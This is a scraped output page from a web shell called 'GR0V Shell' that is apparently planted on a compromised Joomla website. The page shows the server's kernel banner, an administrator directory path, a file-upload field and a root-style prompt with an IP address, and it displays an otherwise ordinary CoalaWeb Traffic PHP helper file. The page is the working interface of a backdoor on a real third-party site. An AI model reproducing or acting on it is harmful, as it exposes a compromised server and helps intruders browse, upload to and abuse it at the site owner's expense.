? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/administrator/components/com_coalawebtraffic/helpers/html/
File Upload :
Current File : /home/admin/public_html/old/administrator/components/com_coalawebtraffic/helpers/html/knownip.php

<?php

/**
 * @package             Joomla
 * @subpackage          com_coalawebtraffic
 * @author              Steven Palmer
 * @author url          http://coalaweb.com
 * @author email        support@coalaweb.com
 * @license             GNU/GPL, see /files/en-GB.license.txt
 * @copyright           Copyright (c) 2016 Steven Palmer All rights reserved.
 *
 * CoalaWeb Traffic is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.

 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.

 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

defined('_JEXEC') or die('Restricted access');

/**
 * Knownip HTML class.
 *
 * @since  2.5
 */
abstract class JHtmlKnownip {

    /**
     * Returns a counted state on a grid
     *
     * @param   integer  $value     The state value.
     * @param   integer  $i         The row index
     * @param   boolean  $enabled   An optional setting for access control on the action.
     * @param   string   $checkbox  An optional prefix for checkboxes.
     *
     * @return  string   The Html code
     */
    public static function counted($value, $i, $enabled = true, $checkbox = 'cb') {
        $states = array(
            1 => array(
                'count_unpublish',
                'COM_CWTRAFFIC_KNOWNIPS_UNCOUNTED',
                'COM_CWTRAFFIC_KNOWNIPS_HTML_UNCOUNT_BANNER',
                'COM_CWTRAFFIC_KNOWNIPS_UNCOUNTED',
                true,
                'publish',
                'publish'
            ),
            0 => array(
                'count_publish',
                'COM_CWTRAFFIC_KNOWNIPS_COUNTED',
                'COM_CWTRAFFIC_KNOWNIPS_HTML_COUNT_BANNER',
                'COM_CWTRAFFIC_KNOWNIPS_COUNTED',
                true,
                'unpublish',
                'unpublish'
            ),
        );

        return JHtml::_('jgrid.state', $states, $value, $i, 'knownips.', $enabled, true, $checkbox);
    }

}

T1KUS90T
  root-grov@210.1.60.28:~$